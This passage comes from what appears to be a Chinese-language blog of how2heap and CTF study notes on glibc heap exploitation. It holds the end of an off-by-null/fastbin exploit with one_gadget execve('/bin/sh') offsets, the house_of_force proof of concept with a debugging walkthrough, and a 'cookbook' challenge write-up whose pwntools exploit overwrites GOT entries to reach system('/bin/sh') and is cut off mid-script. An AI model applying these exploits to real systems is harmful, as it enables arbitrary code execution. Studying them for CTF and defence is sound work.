class="number">0xf0</span>,<span class="string">'a'</span>*<span class="number">0xf0</span>)<span class="comment">#0 0x100 chunk</span></span><br><span class="line">add(<span class="number">0x100</span>,<span class="string">'b'</span>*<span class="number">0x100</span>)<span class="comment">#1 0x110 chunk</span></span><br><span class="line">add(<span class="number">0xf0</span>,<span class="string">'c'</span>*<span class="number">0xf0</span>)<span class="comment">#2 0x100 chunk</span></span><br><span class="line">add(<span class="number">0x100</span>,<span class="string">'d'</span>*<span class="number">0x100</span>)<span class="comment">#3 0x110 chunk</span></span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">p.recvuntil(<span class="string">'CONTENT: '</span>)</span><br><span class="line">heap_base=my_u64(p.recv(<span class="number">4</span>))<span class="number">-0x210</span></span><br><span class="line">loginfo(<span class="string">'heapbase'</span>,heap_base)</span><br><span class="line">p.recvuntil(<span class="string">' #   INDEX: 3'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'CONTENT: '</span>)</span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x3c4b78</span></span><br><span class="line">loginfo(<span class="string">'libcbase'</span>,libc_base)</span><br><span class="line">free(<span class="number">3</span>)</span><br><span class="line">free(<span class="number">1</span>)<span class="comment">#clear</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#construct again</span></span><br><span class="line">add(<span class="number">0xf0</span>,p64(heap_base)*<span class="number">2</span>+<span class="string">'\x00'</span>*<span class="number">0xe0</span>)<span class="comment">#0 0x100</span></span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">'\x00'</span>*<span class="number">0x68</span>)<span class="comment">#1 0x70</span></span><br><span class="line">add(<span class="number">0xf0</span>,<span class="string">'\x00'</span>*<span class="number">0xf0</span>)<span class="comment">#2 0x100</span></span><br><span class="line"></span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">'\x00'</span>*<span class="number">0x60</span>+p64(<span class="number">0x170</span>))<span class="comment">#set prev_size + off_by_null</span></span><br><span class="line">free(<span class="number">2</span>)<span class="comment">#Merge all</span></span><br><span class="line"></span><br><span class="line">free(<span class="number">1</span>)<span class="comment">#set to fastbin first</span></span><br><span class="line"><span class="comment">#(0,,,)</span></span><br><span class="line">add(<span class="number">0xe0</span>,<span class="string">'\x00'</span>*<span class="number">0xe0</span>)</span><br><span class="line"><span class="comment">#(0,1)</span></span><br><span class="line">add(<span class="number">0xf0</span>,(p64(<span class="number">0</span>)+p64(<span class="number">0x71</span>)+p64(libc_base+<span class="number">0x3c4aed</span>)).ljust(<span class="number">0x70</span>,<span class="string">'\x00'</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0x101</span>)+<span class="string">'\x00'</span>*(<span class="number">0xf0</span><span class="number">-0x80</span>))<span class="comment">#fill fakesize0x101 for check by free</span></span><br><span class="line"><span class="comment">#(0,1,2)</span></span><br><span class="line">add(<span class="number">0x60</span>,<span class="string">'\x00'</span>*<span class="number">0x60</span>)</span><br><span class="line"><span class="comment">#(0,1,2,3)</span></span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line"><span class="comment">#(,1,2,3)</span></span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">'\x00'</span>*<span class="number">0x13</span>+p64(libc_base+<span class="number">0xf02a4</span>))</span><br><span class="line"><span class="comment">#(0,1,2,3)</span></span><br><span class="line"><span class="comment">#gdb.attach(p,'b *0x400c12')</span></span><br><span class="line">free(<span class="number">3</span>)</span><br><span class="line">p.recvuntil(<span class="string">'(CMD)&gt;&gt;&gt; '</span>)</span><br><span class="line">p.sendline(<span class="string">'A'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'(SIZE)&gt;&gt;&gt; '</span>)</span><br><span class="line">p.sendline(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">fastbin addree to size： (offset_to_fastbinY/8+2)&lt;&lt;(4 or 3)</span></span><br><span class="line"><span class="string">largebin chunksize:0x410|0x450|0x490|0x4C0...</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure>

]]></content>
      <tags>
        <tag>how2heap</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - house_of_force&amp;cookbook、bcloud</title>
    <url>/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/</url>
    <content><![CDATA[<h1 id="how2heap-house-of-force-amp-cookbook、bcloud"><a href="#how2heap-house-of-force-amp-cookbook、bcloud" class="headerlink" title="how2heap - house_of_force&amp;cookbook、bcloud"></a>how2heap - house_of_force&amp;cookbook、bcloud</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="house-of-force-c"><a href="#house-of-force-c" class="headerlink" title="house_of_force.c"></a>house_of_force.c</h1><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">&#x2F;*</span><br><span class="line">   This PoC works also with ASLR enabled.</span><br><span class="line">   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.</span><br><span class="line">   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum </span><br><span class="line">   ( http:&#x2F;&#x2F;phrack.org&#x2F;issues&#x2F;66&#x2F;10.html )</span><br><span class="line">   Tested in Ubuntu 14.04, 64bit.</span><br><span class="line">*&#x2F;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line">#include &lt;stdint.h&gt;</span><br><span class="line">#include &lt;stdlib.h&gt;</span><br><span class="line">#include &lt;string.h&gt;</span><br><span class="line">#include &lt;stdint.h&gt;</span><br><span class="line">#include &lt;malloc.h&gt;</span><br><span class="line"></span><br><span class="line">char bss_var[] &#x3D; &quot;This is a string that we want to overwrite.&quot;;</span><br><span class="line"></span><br><span class="line">int main(int argc , char* argv[])</span><br><span class="line">&#123;</span><br><span class="line">	fprintf(stderr, &quot;\nWelcome to the House of Force\n\n&quot;);</span><br><span class="line">	fprintf(stderr, &quot;The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n&quot;);</span><br><span class="line">	fprintf(stderr, &quot;The top chunk is a special chunk. Is the last in memory &quot;</span><br><span class="line">		&quot;and is the chunk that will be resized when malloc asks for more space from the os.\n&quot;);</span><br><span class="line"></span><br><span class="line">	fprintf(stderr, &quot;\nIn the end, we will use this to overwrite a variable at %p.\n&quot;, bss_var);</span><br><span class="line">	fprintf(stderr, &quot;Its current value is: %s\n&quot;, bss_var);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">	fprintf(stderr, &quot;\nLet&#39;s allocate the first chunk, taking space from the wilderness.\n&quot;);</span><br><span class="line">	intptr_t *p1 &#x3D; malloc(256);&#x2F;&#x2F;0x100</span><br><span class="line">	fprintf(stderr, &quot;The chunk of 256 bytes has been allocated at %p.\n&quot;, p1 - 2);</span><br><span class="line"></span><br><span class="line">	fprintf(stderr, &quot;\nNow the heap is composed of two chunks: the one we allocated and the top chunk&#x2F;wilderness.\n&quot;);</span><br><span class="line">	int real_size &#x3D; malloc_usable_size(p1);</span><br><span class="line">	fprintf(stderr, &quot;Real size (aligned and all that jazz) of our allocated chunk is %ld.\n&quot;, real_size + sizeof(long)*2);</span><br><span class="line"></span><br><span class="line">	fprintf(stderr, &quot;\nNow let&#39;s emulate a vulnerability that can overwrite the header of the Top Chunk\n&quot;);</span><br><span class="line"></span><br><span class="line">	&#x2F;&#x2F;----- VULNERABILITY ----</span><br><span class="line">	intptr_t *ptr_top &#x3D; (intptr_t *) ((char *)p1 + real_size - sizeof(long));</span><br><span class="line">	fprintf(stderr, &quot;\nThe top chunk starts at %p\n&quot;, ptr_top);</span><br><span class="line"></span><br><span class="line">	fprintf(stderr, &quot;\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n&quot;);</span><br><span class="line">	fprintf(stderr, &quot;Old size of top chunk %#llx\n&quot;, *((unsigned long long int *)((char *)ptr_top + sizeof(long))));</span><br><span class="line">	*(intptr_t *)((char *)ptr_top + sizeof(long)) &#x3D; -1;</span><br><span class="line">	fprintf(stderr, &quot;New size of top chunk %#llx\n&quot;, *((unsigned long long int *)((char *)ptr_top + sizeof(long))));</span><br><span class="line">	&#x2F;&#x2F;------------------------</span><br><span class="line"></span><br><span class="line">	fprintf(stderr, &quot;\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n&quot;</span><br><span class="line">	   &quot;Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n&quot;</span><br><span class="line">	   &quot;overflow) and will then be able to allocate a chunk right over the desired region.\n&quot;);</span><br><span class="line"></span><br><span class="line">	&#x2F;*</span><br><span class="line">	 * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):</span><br><span class="line">	 * new_top &#x3D; old_top + nb</span><br><span class="line">	 * nb &#x3D; new_top - old_top</span><br><span class="line">	 * req + 2sizeof(long) &#x3D; new_top - old_top</span><br><span class="line">	 * req &#x3D; new_top - old_top - 2sizeof(long)</span><br><span class="line">	 * req &#x3D; dest - 2sizeof(long) - old_top - 2sizeof(long)</span><br><span class="line">	 * req &#x3D; dest - old_top - 4*sizeof(long)</span><br><span class="line">	 *&#x2F;</span><br><span class="line">	unsigned long evil_size &#x3D; (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;</span><br><span class="line">	fprintf(stderr, &quot;\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n&quot;</span><br><span class="line">	   &quot;we will malloc %#lx bytes.\n&quot;, bss_var, ptr_top, evil_size);</span><br><span class="line">	void *new_ptr &#x3D; malloc(evil_size);</span><br><span class="line">	fprintf(stderr, &quot;As expected, the new pointer is at the same place as the old top chunk: %p\n&quot;, new_ptr - sizeof(long)*2);</span><br><span class="line"></span><br><span class="line">	void* ctr_chunk &#x3D; malloc(100);</span><br><span class="line">	fprintf(stderr, &quot;\nNow, the next chunk we overwrite will point at our target buffer.\n&quot;);</span><br><span class="line">	fprintf(stderr, &quot;malloc(100) &#x3D;&gt; %p!\n&quot;, ctr_chunk);</span><br><span class="line">	fprintf(stderr, &quot;Now, we can finally overwrite that value:\n&quot;);</span><br><span class="line"></span><br><span class="line">	fprintf(stderr, &quot;... old string: %s\n&quot;, bss_var);</span><br><span class="line">	fprintf(stderr, &quot;... doing strcpy overwrite with \&quot;YEAH!!!\&quot;...\n&quot;);</span><br><span class="line">	strcpy(ctr_chunk, &quot;YEAH!!!&quot;);</span><br><span class="line">	fprintf(stderr, &quot;... new string: %s\n&quot;, bss_var);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">	&#x2F;&#x2F; some further discussion:</span><br><span class="line">	&#x2F;&#x2F;fprintf(stderr, &quot;This controlled malloc will be called with a size parameter of evil_size &#x3D; malloc_got_address - 8 - p2_guessed\n\n&quot;);</span><br><span class="line">	&#x2F;&#x2F;fprintf(stderr, &quot;This because the main_arena-&gt;top pointer is setted to current av-&gt;top + malloc_size &quot;</span><br><span class="line">	&#x2F;&#x2F;	&quot;and we \nwant to set this result to the address of malloc_got_address-8\n\n&quot;);</span><br><span class="line">	&#x2F;&#x2F;fprintf(stderr, &quot;In order to do this we have malloc_got_address-8 &#x3D; p2_guessed + evil_size\n\n&quot;);</span><br><span class="line">	&#x2F;&#x2F;fprintf(stderr, &quot;The av-&gt;top after this big malloc will be setted in this way to malloc_got_address-8\n\n&quot;);</span><br><span class="line">	&#x2F;&#x2F;fprintf(stderr, &quot;After that a new call to malloc will return av-&gt;top+8 ( +8 bytes for the header ),&quot;</span><br><span class="line">	&#x2F;&#x2F;	&quot;\nand basically return a chunk at (malloc_got_address-8)+8 &#x3D; malloc_got_address\n\n&quot;);</span><br><span class="line"></span><br><span class="line">	&#x2F;&#x2F;fprintf(stderr, &quot;The large chunk with evil_size has been allocated here 0x%08x\n&quot;,p2);</span><br><span class="line">	&#x2F;&#x2F;fprintf(stderr, &quot;The main_arena value av-&gt;top has been setted to malloc_got_address-8&#x3D;0x%08x\n&quot;,malloc_got_address);</span><br><span class="line"></span><br><span class="line">	&#x2F;&#x2F;fprintf(stderr, &quot;This last malloc will be served from the remainder code and will return the av-&gt;top+8 injected before\n&quot;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这里面最重要的应该就是这个计算过程了，我把步骤解释写一下：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))</span></span><br><span class="line">new_top = old_top + nb</span><br><span class="line"><span class="comment">//remainder = ↑chunk_at_offset (victim, nb);源码中这里remainder对应的就是new_top，victim此时就是old_top</span></span><br><span class="line"></span><br><span class="line">nb = new_top - old_top</span><br><span class="line">req + <span class="number">2</span><span class="keyword">sizeof</span>(<span class="keyword">long</span>) = new_top - old_top<span class="comment">//这里分解nb</span></span><br><span class="line">req = new_top - old_top - <span class="number">2</span><span class="keyword">sizeof</span>(<span class="keyword">long</span>)</span><br><span class="line">req = dest - <span class="number">2</span><span class="keyword">sizeof</span>(<span class="keyword">long</span>) - old_top - <span class="number">2</span><span class="keyword">sizeof</span>(<span class="keyword">long</span>)<span class="comment">//dest = new_top + 2sizeof(long)</span></span><br><span class="line">req = dest - old_top - <span class="number">4</span>*<span class="keyword">sizeof</span>(<span class="keyword">long</span>)</span><br></pre></td></tr></table></figure>

<p>其中最主要的是通过<code>chunk_at_offset(p, s)</code>这个Macro来获得victim的时候，nb为负数时会把topchunk的位置往回放</p>
<p>但是<code>_int_malloc</code>最开始对我们申请的bytes做的检查是这样的：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> REQUEST_OUT_OF_RANGE(req)                                 \</span></span><br><span class="line">  ((<span class="keyword">unsigned</span> <span class="keyword">long</span>) (req) &gt;=						      \</span><br><span class="line">   (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (INTERNAL_SIZE_T) (<span class="number">-2</span> * MINSIZE))</span><br><span class="line"><span class="comment">//MINSIZE:x64 0x20,x86 0x10 </span></span><br><span class="line"><span class="comment">//-2*MINSIZE=0xFFFF FFFF FFFF FFC0(x64),0xFFFF FFE0(x86)</span></span><br><span class="line"><span class="comment">//req会被转换成unsigned long，只要我们通过上面的这个检查就可以过第一步了</span></span><br><span class="line"><span class="comment">/* pad request bytes into a usable size -- internal version */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> request2size(req)                                         \</span></span><br><span class="line">  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK &lt; MINSIZE)  ?             \</span><br><span class="line">   MINSIZE :                                                      \</span><br><span class="line">   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) &amp; ~MALLOC_ALIGN_MASK)</span><br><span class="line"></span><br><span class="line"><span class="comment">/*  Same, except also perform argument check */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> checked_request2size(req, sz)                             \</span></span><br><span class="line">  <span class="keyword">if</span> (REQUEST_OUT_OF_RANGE (req)) &#123;					      \</span><br><span class="line">      __set_errno (ENOMEM);						      \</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;								      \</span><br><span class="line">    &#125;									      \</span><br><span class="line">  (sz) = request2size (req);</span><br></pre></td></tr></table></figure>

<p>然后用一个负数的nb去topchunk申请chunk，当然其中经过smallbin range检查的时候还调用了<code>malloc_consolidate</code></p>
<p>用topchunk的size和nb作比对的时候都是转换成了unsigned long：此时<code>-1</code>计算出来的size是最大的，可以通过该检查：<code>(unsigned long) (size) &gt;= (unsigned long) (nb + MINSIZE)</code></p>
<h2 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h2><p>先不急着debug示例程序，我自己准备用自己的程序试一试，具体如下</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc , <span class="keyword">char</span>* argv[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="keyword">char</span> *fast=<span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line">	<span class="keyword">char</span> *p=<span class="built_in">malloc</span>(<span class="number">0xff0</span>);</span><br><span class="line">	<span class="built_in">free</span>(fast);<span class="comment">//use for test</span></span><br><span class="line">	*(<span class="keyword">int64_t</span> *)(p+<span class="number">0xff8</span>)=(<span class="keyword">long</span> <span class="keyword">long</span>)<span class="number">-1</span>;<span class="comment">//set top_chunk size</span></span><br><span class="line">	</span><br><span class="line">	<span class="keyword">char</span> *p2=<span class="built_in">malloc</span>(<span class="number">0xFFFFFFFFFFFFF000</span><span class="number">-2</span>*<span class="keyword">sizeof</span>(<span class="keyword">size_t</span>));<span class="comment">//set new_top </span></span><br><span class="line">	<span class="keyword">char</span> *p3=<span class="built_in">malloc</span>(<span class="number">0x100</span>);<span class="comment">//the same address as p</span></span><br><span class="line">	<span class="built_in">printf</span>(<span class="string">"%p,%p"</span>,p,p3);</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这里我写了一个简单的程序，其中0x30的chunk是用来debug的时候看是否调用了<code>malloc_consolidate</code></p>
<p>设置top_chunk size之后：</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582041965701.png" width="90%" height="90%">

<p>可以看到pwndbg的脚本报错了，不过我们直接看地址偏移还是一样的</p>
<p>然后<code>char *p2=malloc(0xFFFFFFFFFFFFF000-2*sizeof(size_t));</code>这一行的意思是传入一个<code>-0x1000-2*size_t</code>的值，计算nb时会补成<code>-0x1000</code>，通过两道检查后在源码中这里:<code>remainder = chunk_at_offset (victim, nb)</code>，remainder是用来设置新的top_chunk的，所以我们直接就把top_chunk往回放到我们之前申请的0x1000的chunk处去了。</p>
<p>因为chunksize计算时会除去低三位，所以<code>remainder_size = size - nb;</code>这一步中的size实际上是<code>0xfffffffffffffff8</code><br>，减去nb(-0x1000)之后就变成了<code>0xff8</code>，如果我们想要之后的top_chunk能再大一些显然做不到了，因为要通过<code>(unsigned long) (size) &gt;= (unsigned long) (nb + MINSIZE)</code>这个检查</p>
<p>再就是设置top_chunk size的时候，虽然说计算size时低三位是没用的，但是最后一位必须为1，要不然在<code>_libc_malloc</code>里面的<code>arena_get</code>好像会出问题（待深入）</p>
<p>以上内容执行时如下：</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582042913527.png" width="90%" height="90%">

<p>可以看到新的top_chunk已经被设置成了我们之前0x1000 chunk的地址</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582043050649.png" width="90%" height="90%">

<p>最后的运行效果就是这样：</p>
<p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582043111462.png" alt="1582043111462"></p>
<p>两个指针指向的chunk是一样的，也验证了<code>req = dest - old_top - 4*sizeof(long)</code></p>
<hr>
<p>然后再来debug示例代码（这里很简略）</p>
<p>所以上面示例代码中把topchunk的size改成了-1，然后计算出的<code>evil_size=0xffffffffffafcf30</code>当然也通过了检查</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582080713143.png" width="80%" height="80%">

<p>可以看到这里算出来的remainder就是0x602050了，刚好是我们<code>字符串地址-0x10</code>的位置，所以再malloc的时候就可以malloc出这块内存，至于后面注释的那一部分，大致意思就差不多是我们可以通过这个方法来修改GOT表，暂时就不debug了</p>
<p>当然这上面是因为没有开ASLR，bss和top_chunk比较近,如果开启PIE加上ASLR的效果也是一样的：</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582082667248.png" width="80%" height="80%">

<p>一样申请到了这块内存</p>
<p>接下来肝题吧</p>
<h1 id="cookbook"><a href="#cookbook" class="headerlink" title="cookbook"></a>cookbook</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>emmm…怎么说呢，感觉以后分析这种程序得换换思路了，以前都是拿着题就往IDA拖了分析，现在看来程序复杂度够高的时候直接这样分析好像不太行，工作量太大，而且根本没有思路，对于量大一点的题得先跑熟悉有个印象再去写，熟悉逻辑之后再去逆会快很多</p>
<p>下面就写一些大致的，后面会放一个总结的图，说不定以后程序分析就都是总结的图了，因为程序每个细节都扣到会浪费时间，能找到漏洞然后利用才是王道啊</p>
<h3 id="main"><a href="#main" class="headerlink" title="main"></a>main</h3><p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582247560625.png" alt="1582247560625"></p>
<p>main大致对应的就是这些东西，Rec代表recipe，Ing代表Ingredient，<code>main_menu</code>是我们操作主菜单，之前做的都是初始化操作</p>
<h3 id="init-RecAndIng"><a href="#init-RecAndIng" class="headerlink" title="init_RecAndIng"></a>init_RecAndIng</h3><p>这个函数分为两个子函数，第一个差不多是下面这样子的，主要做初始化Ingredient的操作</p>
<p><code>add_ingredient</code>是<code>calloc(0x90)</code>一个ingredient的结构体，等下放一张图给自己看吧</p>
<p><code>Ingredient_ListHeader</code>是存在.bss段上的一个链表头指针。<code>LinkList_add</code>就是往这个头指针添加结点，<code>calloc(0x8)</code>，然后存一个next指针一个数据</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582247755837.png" width="60%" height="60%">

<p>第二个子函数就是初始化三个recipe（0x40C），当时直接拿着程序看的时候在这浪费了很多时间，因为根本不知道要干什么，以后碰到这种就先跑一下程序熟悉熟悉，看这些字符串出现在什么地方再逆，<code>ret_Ingredient_ptr</code>是根据name返回对应Ingredient结构体的指针Dish type应该不用管</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582248382621.png" width="100%" height="100%">

<p>不过这两个初始化函数用来逆结构体还是挺好的，这里把结构体放出来吧</p>
<h3 id="struct"><a href="#struct" class="headerlink" title="struct"></a>struct</h3><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582248526810.png" width="60%" height="60%">

<p>再来看<code>main_menu</code></p>
<h3 id="main-menu"><a href="#main-menu" class="headerlink" title="main_menu"></a>main_menu</h3><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582248585103.png" width="45%" height="45%">

<p>就是我们正常的菜单选择了，这里就不做细致分析了，没必要，我下面的这张图记录了每个函数大致的操作</p>
<h3 id="All-in-one"><a href="#All-in-one" class="headerlink" title="All in one"></a>All in one</h3><p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582249392325.png" alt="1582249392325"></p>
<p>所有对应的选项我都记录了大致对应的操作，当然也不乏在调试中发现的一些小细节，比如creat recipe里面是删不掉Ingredient的，因为fegts结尾的<code>\n</code>程序没有处理，导致<code>strcmp</code>比对失败…</p>
<p>最后程序通过链表和不同结构体的管理如下图所示，我这里只拿了一个Ingredient和Recipe做示例</p>
<p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582213398090.png" alt="1582213398090"></p>
<h2 id="漏洞分析-amp-Exploite"><a href="#漏洞分析-amp-Exploite" class="headerlink" title="漏洞分析&amp;Exploite"></a>漏洞分析&amp;Exploite</h2><h3 id="leak"><a href="#leak" class="headerlink" title="leak"></a>leak</h3><p>这个题的leak其实只要有经验的话应该马上就能想到，没有经验的话像我可能还稍微想了一段时间吧，当然也要注意这里面的chunk很多都是calloc出来的。当时我在想leak构造的时候第一反应是 creat recipe里面free时没有对current_pt赋值0，所以存在一个bad save，然后就可以打印出对应的东西，这里只有一个recipe chunk被free的时候就可以打印出来这个unsortedbin chunk上的*(*bk)处的值，这里是top_chunk的地址。</p>
<p>后来我想通过remove ingredient来给ingredient chunk的fd和bk处放上libc地址结果失败了，因为我发现这里根本删不了..坑，还以为是出了什么问题，不过依旧是这个思路，由于我们current_ptr是保存在.bss上的，所以我们可以，出去删了这个ingredient之后再回到这里leak，这样在打印price的时候就会leaklibc了，注意数量一定要设置1</p>
<h3 id="Arbitrary-write"><a href="#Arbitrary-write" class="headerlink" title="Arbitrary write"></a>Arbitrary write</h3><p>本题还有一个0x8C的大overflow我们没有用到，最开始我想的是能不能通过fastbin来attack一个地方，后来发现没什么思路就放弃了，因为house_of_force的方法在这里更明显一些，我们可以直接通过这个大overflow来修改top_chunk然后改写GOT表，最后调用<code>system(&quot;/bin/sh&quot;)</code>。当然改GOT表的过程特别玄学，由于只有Ingredient和cookbook name是malloc出来的，而bookname在我这个方法里面要在设置top_size之后用来设置new top的位置，所以我这里不能用bookname来更改GOT表，只能用Ingredient，但是调试过程中确实踩了很多坑，最后对应ingredient的位置很苛刻</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582252497984.png" width="80%" height="80%">

<p>从前往后试这两个地方用来在设置topchunk的时候写size，前面的内存是不可写的(这里写一笔给记性差的自己：因为32位chunk要8bit对齐，所以只有结尾是4和C的地方才写size)，而后malloc ingredient时因为输入Ingredient-&gt;name的时候程序会calloc一块chunk出来，也就意味着0x98Bytes后的数据全部会被清零，所以很多数据都会受到连锁影响(跪。而且我试0x0804D004这个地方的时候发现，后面的malloc居然刚好把currentIng_ptr给设置成size字段了，以后在这些数据段操作之前一定先看看后面的一些特殊偏移有什么数据（….<code>&amp;currentIng_ptr-0x0804D000=0x9C(malloc_usable_size)</code>）出题人应该是估计苛刻的？<br>然后用0x0804D00C这个地方用来写size，最后使用哪个表作为system我用的是atoi（好像用free更方便一点）。然后输入name的时候由于fgets会损坏一个Byte的数据，所以我干脆把一些表项全填上去了，当我把要利用的函数的偏移一个个的填上去之后发现，利用的时候由于memcpy是cpy0x80个字节的数据，刚好把bss上的stdin和stdout给写没了，所以又去把stdin和stdout的地址写了上去才成功</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> numpy</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'cookbook'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" +''+hex() + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main_choice</span><span class="params">(cha)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'[q]uit\n'</span>)</span><br><span class="line">	p.sendline(cha)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Ing_choice</span><span class="params">(cha)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'quit)?\n'</span>)</span><br><span class="line">	p.sendline(cha)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">recipe_choice</span><span class="params">(cha)</span>:</span></span><br><span class="line">	p.recvuntil(<span class="string">'[q]uit\n'</span>)</span><br><span class="line">	p.sendline(cha)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">creat_for_leak</span><span class="params">()</span>:</span></span><br><span class="line">	main_choice(<span class="string">'a'</span>)</span><br><span class="line">	Ing_choice(<span class="string">'n'</span>)</span><br><span class="line">	Ing_choice(<span class="string">'g'</span>)</span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.sendline(<span class="string">'********'</span>)</span><br><span class="line">	Ing_choice(<span class="string">'e'</span>)</span><br><span class="line">	Ing_choice(<span class="string">'q'</span>)</span><br><span class="line"></span><br><span class="line"><span 